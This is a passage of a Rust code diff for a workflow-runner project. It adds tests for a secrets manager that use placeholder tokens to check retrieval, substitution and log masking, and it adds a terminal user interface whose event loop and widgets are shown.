+    std::fs::write(&secrets_file, secrets_content).unwrap();
+
+    // Set up environment variables
+    let env_secret_name = format!("GITHUB_TOKEN_{}", process::id());
+    std::env::set_var(&env_secret_name, "ghp_1234567890abcdefghijklmnopqrstuvwxyz");
+
+    // Create configuration
+    let mut providers = HashMap::new();
+    providers.insert(
+        "env".to_string(),
+        SecretProviderConfig::Environment { prefix: None },
+    );
+    providers.insert(
+        "file".to_string(),
+        SecretProviderConfig::File {
+            path: secrets_file.to_string_lossy().to_string(),
+        },
+    );
+
+    let config = SecretConfig {
+        default_provider: "env".to_string(),
+        providers,
+        enable_masking: true,
+        timeout_seconds: 30,
+        enable_caching: true,
+        cache_ttl_seconds: 300,
+        rate_limit: Default::default(),
+    };
+
+    // Initialize secret manager
+    let manager = SecretManager::new(config).await.unwrap();
+
+    // Test 1: Get secret from environment provider
+    let env_secret = manager.get_secret(&env_secret_name).await.unwrap();
+    assert_eq!(
+        env_secret.value(),
+        "ghp_1234567890abcdefghijklmnopqrstuvwxyz"
+    );
+    assert_eq!(
+        env_secret.metadata.get("source"),
+        Some(&"environment".to_string())
+    );
+
+    // Test 2: Get secret from file provider
+    let file_secret = manager
+        .get_secret_from_provider("file", "database_password")
+        .await
+        .unwrap();
+    assert_eq!(file_secret.value(), "super_secret_db_pass_123");
+    assert_eq!(
+        file_secret.metadata.get("source"),
+        Some(&"file".to_string())
+    );
+
+    // Test 3: List secrets from file provider
+    let all_secrets = manager.list_all_secrets().await.unwrap();
+    assert!(all_secrets.contains_key("file"));
+    let file_secrets = &all_secrets["file"];
+    assert!(file_secrets.contains(&"database_password".to_string()));
+    assert!(file_secrets.contains(&"api_token".to_string()));
+    assert!(file_secrets.contains(&"encryption_key".to_string()));
+
+    // Test 4: Secret substitution
+    let mut substitution = SecretSubstitution::new(&manager);
+    let input = format!(
+        "Database: ${{{{ secrets.file:database_password }}}}, GitHub: ${{{{ secrets.{} }}}}",
+        env_secret_name
+    );
+    let output = substitution.substitute(&input).await.unwrap();
+    assert!(output.contains("super_secret_db_pass_123"));
+    assert!(output.contains("ghp_1234567890abcdefghijklmnopqrstuvwxyz"));
+
+    // Test 5: Secret masking
+    let mut masker = SecretMasker::new();
+    masker.add_secret("super_secret_db_pass_123");
+    masker.add_secret("ghp_1234567890abcdefghijklmnopqrstuvwxyz");
+
+    let log_message = "Connection failed: super_secret_db_pass_123 invalid for ghp_1234567890abcdefghijklmnopqrstuvwxyz";
+    let masked = masker.mask(log_message);
+    assert!(!masked.contains("super_secret_db_pass_123"));
+    assert!(!masked.contains("ghp_1234567890abcdefghijklmnopqrstuvwxyz"));
+    assert!(masked.contains("***"));
+
+    // Test 6: Health check
+    let health_results = manager.health_check().await;
+    assert!(health_results.get("env").unwrap().is_ok());
+    assert!(health_results.get("file").unwrap().is_ok());
+
+    // Test 7: Caching behavior - functional test instead of timing
+    // First call should succeed and populate cache
+    let cached_secret = manager.get_secret(&env_secret_name).await.unwrap();
+    assert_eq!(
+        cached_secret.value(),
+        "ghp_1234567890abcdefghijklmnopqrstuvwxyz"
+    );
+
+    // Remove the environment variable to test if cache works
+    std::env::remove_var(&env_secret_name);
+
+    // Second call should still succeed because value is cached
+    let cached_secret_2 = manager.get_secret(&env_secret_name).await.unwrap();
+    assert_eq!(
+        cached_secret_2.value(),
+        "ghp_1234567890abcdefghijklmnopqrstuvwxyz"
+    );
+
+    // Restore environment variable for cleanup
+    std::env::set_var(&env_secret_name, "ghp_1234567890abcdefghijklmnopqrstuvwxyz");
+
+    // Cleanup
+    std::env::remove_var(&env_secret_name);
+}
+
+/// Test error handling scenarios
+#[tokio::test]
+async fn test_error_handling() {
+    let manager = SecretManager::default().await.unwrap();
+
+    // Test 1: Secret not found
+    let result = manager.get_secret("NONEXISTENT_SECRET_12345").await;
+    assert!(result.is_err());
+    assert!(result.unwrap_err().to_string().contains("not found"));
+
+    // Test 2: Invalid provider
+    let result = manager
+        .get_secret_from_provider("invalid_provider", "some_secret")
+        .await;
+    assert!(result.is_err());
+    assert!(result.unwrap_err().to_string().contains("not found"));
+
+    // Test 3: Invalid secret name
+    let result = manager.get_secret("").await;
+    assert!(result.is_err());
+    assert!(result.unwrap_err().to_string().contains("cannot be empty"));
+
+    // Test 4: Invalid secret name with special characters
+    let result = manager.get_secret("invalid/secret/name").await;
+    assert!(result.is_err());
+    assert!(result.unwrap_err().to_string().contains("can only contain"));
+}
+
+/// Test rate limiting functionality
+#[tokio::test]
+async fn test_rate_limiting() {
+    use std::time::Duration;
+    use wrkflw_secrets::rate_limit::RateLimitConfig;
+
+    // Create config with very low rate limit
+    let mut config = SecretConfig::default();
+    config.rate_limit = RateLimitConfig {
+        max_requests: 2,
+        window_duration: Duration::from_secs(10),
+        enabled: true,
+    };
+
+    let manager = SecretManager::new(config).await.unwrap();
+
+    // Set up test secret
+    let test_secret_name = format!("RATE_LIMIT_TEST_{}", process::id());
+    std::env::set_var(&test_secret_name, "test_value");
+
+    // First two requests should succeed
+    let result1 = manager.get_secret(&test_secret_name).await;
+    assert!(result1.is_ok());
+
+    let result2 = manager.get_secret(&test_secret_name).await;
+    assert!(result2.is_ok());
+
+    // Third request should fail due to rate limiting
+    let result3 = manager.get_secret(&test_secret_name).await;
+    assert!(result3.is_err());
+    assert!(result3
+        .unwrap_err()
+        .to_string()
+        .contains("Rate limit exceeded"));
+
+    // Cleanup
+    std::env::remove_var(&test_secret_name);
+}
+
+/// Test concurrent access patterns
+#[tokio::test]
+async fn test_concurrent_access() {
+    use std::sync::Arc;
+
+    let manager = Arc::new(SecretManager::default().await.unwrap());
+
+    // Set up test secret
+    let test_secret_name = format!("CONCURRENT_TEST_{}", process::id());
+    std::env::set_var(&test_secret_name, "concurrent_test_value");
+
+    // Spawn multiple concurrent tasks
+    let mut handles = Vec::new();
+    for i in 0..10 {
+        let manager_clone = Arc::clone(&manager);
+        let secret_name = test_secret_name.clone();
+        let handle = tokio::spawn(async move {
+            let result = manager_clone.get_secret(&secret_name).await;
+            (i, result)
+        });
+        handles.push(handle);
+    }
+
+    // Wait for all tasks to complete
+    let mut successful_requests = 0;
+    for handle in handles {
+        let (_, result) = handle.await.unwrap();
+        if result.is_ok() {
+            successful_requests += 1;
+            assert_eq!(result.unwrap().value(), "concurrent_test_value");
+        }
+    }
+
+    // At least some requests should succeed (depending on rate limiting)
+    assert!(successful_requests > 0);
+
+    // Cleanup
+    std::env::remove_var(&test_secret_name);
+}
+
+/// Test secret substitution edge cases
+#[tokio::test]
+async fn test_substitution_edge_cases() {
+    let manager = SecretManager::default().await.unwrap();
+
+    // Set up test secrets
+    let secret1_name = format!("EDGE_CASE_1_{}", process::id());
+    let secret2_name = format!("EDGE_CASE_2_{}", process::id());
+    std::env::set_var(&secret1_name, "value1");
+    std::env::set_var(&secret2_name, "value2");
+
+    let mut substitution = SecretSubstitution::new(&manager);
+
+    // Test 1: Multiple references to the same secret
+    let input = format!(
+        "First: ${{{{ secrets.{} }}}} Second: ${{{{ secrets.{} }}}}",
+        secret1_name, secret1_name
+    );
+    let output = substitution.substitute(&input).await.unwrap();
+    assert_eq!(output, "First: value1 Second: value1");
+
+    // Test 2: Nested-like patterns (should not be substituted)
+    let input = "This is not a secret: ${ secrets.FAKE }";
+    let output = substitution.substitute(&input).await.unwrap();
+    assert_eq!(input, output); // Should remain unchanged
+
+    // Test 3: Mixed valid and invalid references
+    let input = format!(
+        "Valid: ${{{{ secrets.{} }}}} Invalid: ${{{{ secrets.NONEXISTENT }}}}",
+        secret1_name
+    );
+    let result = substitution.substitute(&input).await;
+    assert!(result.is_err()); // Should fail due to missing secret
+
+    // Test 4: Empty input
+    let output = substitution.substitute("").await.unwrap();
+    assert_eq!(output, "");
+
+    // Test 5: No secret references
+    let input = "This is just plain text with no secrets";
+    let output = substitution.substitute(input).await.unwrap();
+    assert_eq!(input, output);
+
+    // Cleanup
+    std::env::remove_var(&secret1_name);
+    std::env::remove_var(&secret2_name);
+}
+
+/// Test masking comprehensive patterns
+#[tokio::test]
+async fn test_comprehensive_masking() {
+    let mut masker = SecretMasker::new();
+
+    // Add various types of secrets
+    masker.add_secret("password123");
+    masker.add_secret("api_key_abcdef123456");
+    masker.add_secret("very_long_secret_key_that_should_preserve_structure_987654321");
+
+    // Test various input scenarios
+    let test_cases = vec![
+        (
+            "Password is password123 and API key is api_key_abcdef123456",
+            vec!["password123", "api_key_abcdef123456"],
+        ),
+        (
+            "GitHub token: ghp_1234567890123456789012345678901234567890",
+            vec!["ghp_"],
+        ),
+        (
+            "AWS key: AKIAIOSFODNN7EXAMPLE",
+            vec!["AKIA"],
+        ),
+        (
+            "JWT: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c",
+            vec!["eyJ", "***"],
+        ),
+    ];
+
+    for (input, should_not_contain) in test_cases {
+        let masked = masker.mask(input);
+        for pattern in should_not_contain {
+            if pattern != "***" {
+                assert!(
+                    !masked.contains(pattern)
+                        || pattern == "ghp_"
+                        || pattern == "AKIA"
+                        || pattern == "eyJ",
+                    "Masked text '{}' should not contain '{}' (or only partial patterns)",
+                    masked,
+                    pattern
+                );
+            } else {
+                assert!(
+                    masked.contains(pattern),
+                    "Masked text '{}' should contain '{}'",
+                    masked,
+                    pattern
+                );
+            }
+        }
+    }
+}

crates/ui/Cargo.toml

@@ -0,0 +1,32 @@
+[package]
+name = "wrkflw-ui"
+version = "0.7.3"
+edition.workspace = true
+description = "Terminal user interface for wrkflw workflow execution engine"
+license.workspace = true
+documentation.workspace = true
+homepage.workspace = true
+repository.workspace = true
+keywords.workspace = true
+categories.workspace = true
+
+[dependencies]
+# Internal crates
+wrkflw-models.workspace = true
+wrkflw-evaluator.workspace = true
+wrkflw-executor.workspace = true
+wrkflw-logging.workspace = true
+wrkflw-utils.workspace = true
+wrkflw-github.workspace = true
+
+# External dependencies
+chrono.workspace = true
+crossterm.workspace = true
+ratatui.workspace = true
+serde.workspace = true
+serde_yaml.workspace = true
+tokio.workspace = true
+serde_json.workspace = true
+reqwest = { workspace = true, features = ["json"] }
+regex.workspace = true
+futures.workspace = true

crates/ui/README.md

@@ -0,0 +1,23 @@
+## wrkflw-ui
+
+Terminal user interface for browsing workflows, running them, and viewing logs.
+
+- Tabs: Workflows, Execution, Logs, Help
+- Hotkeys: `1-4`, `Tab`, `Enter`, `r`, `R`, `t`, `v`, `e`, `q`, etc.
+- Integrates with `wrkflw-executor` and `wrkflw-logging`
+
+### Example
+
+```rust
+use std::path::PathBuf;
+use wrkflw_executor::RuntimeType;
+use wrkflw_ui::run_wrkflw_tui;
+
+# tokio_test::block_on(async {
+let path = PathBuf::from(".github/workflows");
+run_wrkflw_tui(Some(&path), RuntimeType::Docker, true, false).await?;
+# Ok::<_, Box<dyn std::error::Error>>(())
+# })?;
+```
+
+Most users should run the `wrkflw` binary and select TUI mode: `wrkflw tui`.

crates/ui/src/app/mod.rs

@@ -0,0 +1,496 @@
+// App module for UI state and main TUI entry point
+mod state;
+
+use crate::handlers::workflow::start_next_workflow_execution;
+use crate::models::{ExecutionResultMsg, Workflow, WorkflowStatus};
+use crate::utils::load_workflows;
+use crate::views::render_ui;
+use chrono::Local;
+use crossterm::{
+    event::{self, DisableMouseCapture, EnableMouseCapture, Event, KeyCode, KeyModifiers},
+    execute,
+    terminal::{disable_raw_mode, enable_raw_mode, EnterAlternateScreen, LeaveAlternateScreen},
+};
+use ratatui::{backend::CrosstermBackend, Terminal};
+use std::io::{self, stdout};
+use std::path::PathBuf;
+use std::sync::mpsc;
+use std::time::{Duration, Instant};
+use wrkflw_executor::RuntimeType;
+
+pub use state::App;
+
+// Main entry point for the TUI interface
+#[allow(clippy::ptr_arg)]
+pub async fn run_wrkflw_tui(
+    path: Option<&PathBuf>,
+    runtime_type: RuntimeType,
+    verbose: bool,
+    preserve_containers_on_failure: bool,
+) -> io::Result<()> {
+    // Terminal setup
+    enable_raw_mode()?;
+    let mut stdout = stdout();
+    execute!(stdout, EnterAlternateScreen, EnableMouseCapture)?;
+    let backend = CrosstermBackend::new(stdout);
+    let mut terminal = Terminal::new(backend)?;
+
+    // Set up channel for async communication
+    let (tx, rx): (
+        mpsc::Sender<ExecutionResultMsg>,
+        mpsc::Receiver<ExecutionResultMsg>,
+    ) = mpsc::channel();
+
+    // Initialize app state
+    let mut app = App::new(
+        runtime_type.clone(),
+        tx.clone(),
+        preserve_containers_on_failure,
+    );
+
+    if app.validation_mode {
+        app.logs.push("Starting in validation mode".to_string());
+        wrkflw_logging::info("Starting in validation mode");
+    }
+
+    // Load workflows
+    let dir_path = match path {
+        Some(path) if path.is_dir() => path.clone(),
+        Some(path) if path.is_file() => {
+            // Single workflow file
+            let name = path
+                .file_name()
+                .unwrap_or_default()
+                .to_string_lossy()
+                .into_owned();
+
+            app.workflows = vec![Workflow {
+                name: name.clone(),
+                path: path.clone(),
+                selected: true,
+                status: WorkflowStatus::NotStarted,
+                execution_details: None,
+            }];
+
+            // Queue the single workflow for execution
+            app.execution_queue = vec![0];
+            app.start_execution();
+
+            // Return parent dir or current dir if no parent
+            path.parent()
+                .map(|p| p.to_path_buf())
+                .unwrap_or_else(|| PathBuf::from("."))
+        }
+        _ => PathBuf::from(".github/workflows"),
+    };
+
+    // Only load directory if we haven't already loaded a single file
+    if app.workflows.is_empty() {
+        app.workflows = load_workflows(&dir_path);
+    }
+
+    // Run the main event loop
+    let tx_clone = tx.clone();
+
+    // Run the event loop
+    let result = run_tui_event_loop(&mut terminal, &mut app, &tx_clone, &rx, verbose);
+
+    // Clean up terminal
+    disable_raw_mode()?;
+    execute!(
+        terminal.backend_mut(),
+        LeaveAlternateScreen,
+        DisableMouseCapture
+    )?;
+    terminal.show_cursor()?;
+
+    match result {
+        Ok(_) => Ok(()),
+        Err(e) => {
+            // If the TUI fails to initialize or crashes, fall back to CLI mode
+            wrkflw_logging::error(&format!("Failed to start UI: {}", e));
+
+            // Only for 'tui' command should we fall back to CLI mode for files
+            // For other commands, return the error
+            if let Some(path) = path {
+                if path.is_file() {
+                    wrkflw_logging::error("Falling back to CLI mode...");
+                    crate::handlers::workflow::execute_workflow_cli(path, runtime_type, verbose)
+                        .await
+                } else if path.is_dir() {
+                    crate::handlers::workflow::validate_workflow(path, verbose)
+                } else {
+                    Err(e)
+                }
+            } else {
+                Err(e)
+            }
+        }
+    }
+}
+
+// Helper function to run the main event loop
+fn run_tui_event_loop(
+    terminal: &mut Terminal<CrosstermBackend<io::Stdout>>,
+    app: &mut App,
+    tx_clone: &mpsc::Sender<ExecutionResultMsg>,
+    rx: &mpsc::Receiver<ExecutionResultMsg>,
+    verbose: bool,
+) -> io::Result<()> {
+    // Max time to wait for events - keep this short to ensure UI responsiveness
+    let event_poll_timeout = Duration::from_millis(50);
+
+    // Set up a dedicated tick timer
+    let tick_rate = app.tick_rate;
+    let mut last_tick = Instant::now();
+
+    loop {
+        // Always redraw the UI on each loop iteration to keep it responsive
+        terminal.draw(|f| {
+            render_ui(f, app);
+        })?;
+
+        // Update the UI on every tick
+        if last_tick.elapsed() >= tick_rate {
+            app.tick();
+            app.update_running_workflow_progress();
+
+            // Check for log processing updates (includes system log change detection)
+            app.check_log_processing_updates();
+
+            // Request log processing if needed
+            if app.logs_need_update {
+                app.request_log_processing_update();
+            }
+
+            last_tick = Instant::now();
+        }
+
+        // Non-blocking check for execution results
+        if let Ok((workflow_idx, result)) = rx.try_recv() {
+            app.process_execution_result(workflow_idx, result);
+            app.current_execution = None;
+
+            // Get next workflow to execute using our helper function
+            start_next_workflow_execution(app, tx_clone, verbose);
+        }
+
+        // Start execution if we have a queued workflow and nothing is currently running
+        if app.running && app.current_execution.is_none() && !app.execution_queue.is_empty() {
+            start_next_workflow_execution(app, tx_clone, verbose);
+        }
+
+        // Handle key events with a short timeout
+        if event::poll(event_poll_timeout)? {
+            if let Event::Key(key) = event::read()? {
+                // Handle search input first if we're in search mode and logs tab
+                if app.selected_tab == 2 && app.log_search_active {
+                    app.handle_log_search_input(key.code);
+                    continue;
+                }
+
+                // Handle help overlay scrolling
+                if app.show_help {
+                    match key.code {
+                        KeyCode::Up | KeyCode::Char('k') => {
+                            app.scroll_help_up();
+                            continue;
+                        }
+                        KeyCode::Down | KeyCode::Char('j') => {
+                            app.scroll_help_down();
+                            continue;
+                        }
+                        KeyCode::Esc | KeyCode::Char('?') => {
+                            app.show_help = false;
+                            continue;
+                        }
+                        _ => {}
+                    }
+                }
+
+                match key.code {
+                    KeyCode::Char('q') => {
+                        // Exit and clean up
+                        break Ok(());
+                    }
+                    KeyCode::Esc => {
+                        if app.detailed_view {
+                            app.detailed_view = false;
+                        } else if app.show_help {
+                            app.show_help = false;
+                        } else {
+                            // Exit and clean up
+                            break Ok(());
+                        }
+                    }
+                    KeyCode::Tab => {
+                        // Cycle through tabs
+                        app.switch_tab((app.selected_tab + 1) % 4);
+                    }
+                    KeyCode::BackTab => {
+                        // Cycle through tabs backwards
+                        app.switch_tab((app.selected_tab + 3) % 4);
+                    }
+                    KeyCode::Char('1') | KeyCode::Char('w') => app.switch_tab(0),
+                    KeyCode::Char('2') | KeyCode::Char('x') => app.switch_tab(1),
+                    KeyCode::Char('3') | KeyCode::Char('l') => app.switch_tab(2),
+                    KeyCode::Char('4') | KeyCode::Char('h') => app.switch_tab(3),
+                    KeyCode::Up | KeyCode::Char('k') => {
+                        if app.selected_tab == 2 {
+                            if !app.log_search_matches.is_empty() {
+                                app.previous_search_match();
+                            } else {
+                                app.scroll_logs_up();
+                            }
+                        } else if app.selected_tab == 3 {
+                            app.scroll_help_up();
+                        } else if app.selected_tab == 0 {
+                            app.previous_workflow();
+                        } else if app.selected_tab == 1 {
+                            if app.detailed_view {
+                                app.previous_step();
+                            } else {
+                                app.previous_job();
+                            }
+                        }
+                    }
+                    KeyCode::Down | KeyCode::Char('j') => {
+                        if app.selected_tab == 2 {
+                            if !app.log_search_matches.is_empty() {
+                                app.next_search_match();
+                            } else {
+                                app.scroll_logs_down();
+                            }
+                        } else if app.selected_tab == 3 {
+                            app.scroll_help_down();
+                        } else if app.selected_tab == 0 {
+                            app.next_workflow();
+                        } else if app.selected_tab == 1 {
+                            if app.detailed_view {
+                                app.next_step();
+                            } else {
+                                app.next_job();
+                            }
+                        }
+                    }
+                    KeyCode::Char(' ') => {
+                        if app.selected_tab == 0 && !app.running {
+                            app.toggle_selected();
+                        }
+                    }
+                    KeyCode::Enter => {
+                        match app.selected_tab {
+                            0 => {
+                                // In workflows tab, Enter runs the selected workflow
+                                if !app.running {
+                                    if let Some(idx) = app.workflow_list_state.selected() {
+                                        app.workflows[idx].selected = true;
+                                        app.queue_selected_for_execution();
+                                        app.start_execution();
+                                    }
+                                }
+                            }
+                            1 => {
+                                // In execution tab, Enter shows job details
+                                app.toggle_detailed_view();
+                            }
+                            _ => {}
+                        }
+                    }
+                    KeyCode::Char('r') => {
+                        // Check if shift is pressed - this might be receiving the reset command
+                        if key.modifiers.contains(KeyModifiers::SHIFT) {
+                            let timestamp = Local::now().format("%H:%M:%S").to_string();
+                            app.logs.push(format!(
+                                "[{}] DEBUG: Shift+r detected - this should be uppercase R",
+                                timestamp
+                            ));
+                            wrkflw_logging::info(
+                                "Shift+r detected as lowercase - this should be uppercase R",
+                            );
+
+                            if !app.running {
+                                // Reset workflow status with Shift+r
+                                app.logs.push(format!(
+                                    "[{}] Attempting to reset workflow status via Shift+r...",
+                                    timestamp
+                                ));
+                                app.reset_workflow_status();
+
+                                // Force redraw to update UI immediately
+                                terminal.draw(|f| {
+                                    render_ui(f, app);
+                                })?;
+                            }
+                        } else if !app.running {
+                            app.queue_selected_for_execution();
+                            app.start_execution();
+                        }
+                    }
+                    KeyCode::Char('a') => {
+                        if !app.running {
+                            // Select all workflows
+                            for workflow in &mut app.workflows {
+                                workflow.selected = true;
+                            }
+                        }
+                    }
+                    KeyCode::Char('e') => {
+                        if !app.running {
+                            app.toggle_emulation_mode();
+                        }
+                    }
+                    KeyCode::Char('v') => {
+                        if !app.running {
+                            app.toggle_validation_mode();
+                        }
+                    }
+                    KeyCode::Char('n') => {
+                        if app.selected_tab == 2 && !app.log_search_query.is_empty() {
+                            app.next_search_match();
+                        } else if app.selected_tab == 0 && !app.running {
+                            // Deselect all workflows
+                            for workflow in &mut app.workflows {
+                                workflow.selected = false;
+                            }
+                        }
+                    }
+                    KeyCode::Char('R') => {
+                        let timestamp = Local::now().format("%H:%M:%S").to_string();
+                        app.logs.push(format!(
+                            "[{}] DEBUG: Reset key 'Shift+R' pressed",
+                            timestamp
+                        ));
+                        wrkflw_logging::info("Reset key 'Shift+R' pressed");
+
+                        if !app.running {
+                            // Reset workflow status
+                            app.logs.push(format!(
+                                "[{}] Attempting to reset workflow status...",
+                                timestamp
+                            ));
+                            app.reset_workflow_status();
+
+                            // Force redraw to update UI immediately
+                            terminal.draw(|f| {
+                                render_ui(f, app);
+                            })?;
+                        } else {
+                            app.logs.push(format!(
+                                "[{}] Cannot reset workflow while another operation is running",
+                                timestamp
+                            ));
+                        }
+                    }
+                    KeyCode::Char('?') => {
+                        // Toggle help overlay
+                        app.show_help = !app.show_help;
+                    }
+                    KeyCode::Char('t') => {
+                        // Only trigger workflow if not already running and we're in the workflows tab
+                        if !app.running && app.selected_tab == 0 {
+                            if let Some(selected_idx) = app.workflow_list_state.selected() {
+                                if selected_idx < app.workflows.len() {
+                                    let workflow = &app.workflows[selected_idx];
+                                    if workflow.status == WorkflowStatus::NotStarted {
+                                        app.trigger_selected_workflow();
+                                    } else if workflow.status == WorkflowStatus::Running {
+                                        app.logs.push(format!(
+                                            "Workflow '{}' is already running",
+                                            workflow.name
+                                        ));
+                                        wrkflw_logging::warning(&format!(
+                                            "Workflow '{}' is already running",
+                                            workflow.name
+                                        ));
+                                    } else {
+                                        // First, get all the data we need from the workflow
+                                        let workflow_name = workflow.name.clone();
+                                        let status_text = match workflow.status {
+                                            WorkflowStatus::Success => "Success",
+                                            WorkflowStatus::Failed => "Failed",
+                                            WorkflowStatus::Skipped => "Skipped",
+                                            _ => "current",
+                                        };
+                                        let needs_reset_hint = workflow.status
+                                            == WorkflowStatus::Success
+                                            || workflow.status == WorkflowStatus::Failed
+                                            || workflow.status == WorkflowStatus::Skipped;
+
+                                        // Now set the status message (mutable borrow)
+                                        app.set_status_message(format!(
+                                            "Cannot trigger workflow '{}' in {} state. Press Shift+R to reset.",
+                                            workflow_name,
+                                            status_text
+                                        ));
+
+                                        // Add log entries
+                                        app.logs.push(format!(
+                                            "Cannot trigger workflow '{}' in {} state",
+                                            workflow_name, status_text
+                                        ));
+
+                                        // Add hint about using reset
+                                        if needs_reset_hint {
+                                            let timestamp =
+                                                Local::now().format("%H:%M:%S").to_string();
+                                            app.logs.push(format!(
+                                                "[{}] Hint: Press 'Shift+R' to reset the workflow status and allow triggering",
+                                                timestamp
+                                            ));
+                                        }
+
+                                        wrkflw_logging::warning(&format!(
+                                            "Cannot trigger workflow in {} state",
+                                            status_text
+                                        ));
+                                    }
+                                }
+                            } else {
+                                app.logs.push("No workflow selected to trigger".to_string());
+                                wrkflw_logging::warning("No workflow selected to trigger");
+                            }
+                        } else if app.running {
+                            app.logs.push(
+                                "Cannot trigger workflow while another operation is in progress"
+                                    .to_string(),
+                            );
+                            wrkflw_logging::warning(
+                                "Cannot trigger workflow while another operation is in progress",
+                            );
+                        } else if app.selected_tab != 0 {
+                            app.logs
+                                .push("Switch to Workflows tab to trigger a workflow".to_string());
+                            wrkflw_logging::warning(
+                                "Switch to Workflows tab to trigger a workflow",
+                            );
+                            // For better UX, we could also automatically switch to the Workflows tab here
+                            app.switch_tab(0);
+                        }
+                    }
+                    KeyCode::Char('s') => {
+                        if app.selected_tab == 2 {
+                            app.toggle_log_search();
+                        }
+                    }
+                    KeyCode::Char('f') => {
+                        if app.selected_tab == 2 {
+                            app.toggle_log_filter();
+                        }
+                    }
+                    KeyCode::Char('c') => {
+                        if app.selected_tab == 2 {
+                            app.clear_log_search_and_filter();
+                        }
+                    }
+                    KeyCode::Char(c) => {
+                        if app.selected_tab == 2 && app.log_search_active {
+                            app.handle_log_search_input(KeyCode::Char(c));
+                        }
+                    }
+                    _ => {}
+                }
+            }
+        }
+    }
+}

crates/ui/src/components/button.rs

@@ -0,0 +1,53 @@
+// Button component
+use ratatui::{
+    style::{Color, Modifier, Style},
+    text::{Line, Span},
+    widgets::Paragraph,
+};
+
+/// A simple button component for the TUI
+pub struct Button {
+    pub label: String,
+    pub is_selected: bool,
+    pub is_active: bool,
+}
+
+impl Button {
+    /// Create a new button
+    pub fn new(label: &str) -> Self {
+        Button {
+            label: label.to_string(),
+            is_selected: false,
+            is_active: true,
+        }
+    }
+
+    /// Set selected state
+    pub fn selected(mut self, is_selected: bool) -> Self {
+        self.is_selected = is_selected;
+        self
+    }
+
+    /// Set active state
+    pub fn active(mut self, is_active: bool) -> Self {
+        self.is_active = is_active;
+        self
+    }
+
+    /// Render the button
+    pub fn render(&self) -> Paragraph<'_> {
+        let (fg, bg) = match (self.is_selected, self.is_active) {
+            (true, true) => (Color::Black, Color::Yellow),
+            (true, false) => (Color::Black, Color::DarkGray),
+            (false, true) => (Color::White, Color::Blue),
+            (false, false) => (Color::DarkGray, Color::Black),
+        };
+
+        let style = Style::default().fg(fg).bg(bg).add_modifier(Modifier::BOLD);
+
+        Paragraph::new(Line::from(vec![Span::styled(
+            format!(" {} ", self.label),
+            style,
+        )]))
+    }
+}

crates/ui/src/components/checkbox.rs

@@ -0,0 +1,60 @@
+// Checkbox component
+use ratatui::{
+    style::{Color, Modifier, Style},
+    text::{Line, Span},
+    widgets::Paragraph,
+};
+
+/// A simple checkbox component for the TUI
+pub struct Checkbox {
+    pub label: String,
+    pub is_checked: bool,
+    pub is_selected: bool,
+}
+
+impl Checkbox {
+    /// Create a new checkbox
+    pub fn new(label: &str) -> Self {
+        Checkbox {
+            label: label.to_string(),
+            is_checked: false,
+            is_selected: false,
+        }
+    }
+
+    /// Set checked state
+    pub fn checked(mut self, is_checked: bool) -> Self {
+        self.is_checked = is_checked;
+        self
+    }
+
+    /// Set selected state
+    pub fn selected(mut self, is_selected: bool) -> Self {
+        self.is_selected = is_selected;
+        self
+    }
+
+    /// Toggle checked state
+    pub fn toggle(&mut self) {
+        self.is_checked = !self.is_checked;
+    }
+
+    /// Render the checkbox
+    pub fn render(&self) -> Paragraph<'_> {
+        let checkbox = if self.is_checked { "[✓]" } else { "[ ]" };
+
+        let style = if self.is_selected {
+            Style::default()
+                .fg(Color::Yellow)
+                .add_modifier(Modifier::BOLD)
+        } else {
+            Style::default().fg(Color::White)
+        };
+
+        Paragraph::new(Line::from(vec![
+            Span::styled(checkbox, style),
+            Span::raw(" "),
+            Span::styled(&self.label, style),
+        ]))
+    }
+}

crates/ui/src/components/mod.rs

@@ -0,0 +1,12 @@
+// UI Components
+mod button;
+mod checkbox;
+mod progress_bar;
+
+// Re-export components for easier access
+pub use button::Button;
+pub use checkbox::Checkbox;
+pub use progress_bar::ProgressBar;
+
+// This module will contain smaller reusable UI elements that
+// can be shared between different views of the application.

crates/ui/src/components/progress_bar.rs

@@ -0,0 +1,53 @@
+// Progress bar component
+use ratatui::{
+    style::{Color, Style},
+    widgets::Gauge,
+};
+
+/// A simple progress bar component for the TUI
+pub struct ProgressBar {
+    pub progress: f64,
+    pub label: Option<String>,
+    pub color: Color,
+}
+
+impl ProgressBar {
+    /// Create a new progress bar
+    pub fn new(progress: f64) -> Self {
+        ProgressBar {
+            progress: progress.clamp(0.0, 1.0),
+            label: None,
+            color: Color::Blue,
+        }
+    }
+
+    /// Set label
+    pub fn label(mut self, label: &str) -> Self {
+        self.label = Some(label.to_string());
+        self
+    }
+
+    /// Set color
+    pub fn color(mut self, color: Color) -> Self {
+        self.color = color;
+        self
+    }
+
+    /// Update progress value
+    pub fn update(&mut self, progress: f64) {
+        self.progress = progress.clamp(0.0, 1.0);
+    }
+
+    /// Render the progress bar
+    pub fn render(&self) -> Gauge<'_> {
+        let label = match &self.label {
+            Some(lbl) => format!("{} {:.0}%", lbl, self.progress * 100.0),
+            None => format!("{:.0}%", self.progress * 100.0),
+        };
+
+        Gauge::default()
+            .gauge_style(Style::default().fg(self.color).bg(Color::Black))
+            .label(label)
+            .ratio(self.progress)
+    }
+}

crates/ui/src/handlers/mod.rs

@@ -0,0 +1,3 @@
+// Handlers for the UI
+
+pub mod workflow;

crates/ui/src/handlers/workflow.rs

@@ -0,0 +1,569 @@
+// Workflow handlers
+use crate::app::App;
+use crate::models::{ExecutionResultMsg, WorkflowExecution, WorkflowStatus};
+use chrono::Local;
+use std::io;
+use std::path::{Path, PathBuf};
+use std::sync::mpsc;
+use std::thread;
+use wrkflw_evaluator::evaluate_workflow_file;
+use wrkflw_executor::{self, JobStatus, RuntimeType, StepStatus};
+
+// Validate a workflow or directory containing workflows
+pub fn validate_workflow(path: &Path, verbose: bool) -> io::Result<()> {
+    let mut workflows = Vec::new();
+
+    if path.is_dir() {
+        let entries = std::fs::read_dir(path)?;
+
+        for entry in entries {
+            let entry = entry?;
+            let entry_path = entry.path();
+
+            if entry_path.is_file() && wrkflw_utils::is_workflow_file(&entry_path) {
+                workflows.push(entry_path);
+            }
+        }
+    } else if path.is_file() {
+        workflows.push(PathBuf::from(path));
+    } else {
+        return Err(io::Error::new(
+            io::ErrorKind::NotFound,
+            format!("Path does not exist: {}", path.display()),
+        ));
+    }
+
+    let mut valid_count = 0;
+    let mut invalid_count = 0;
+
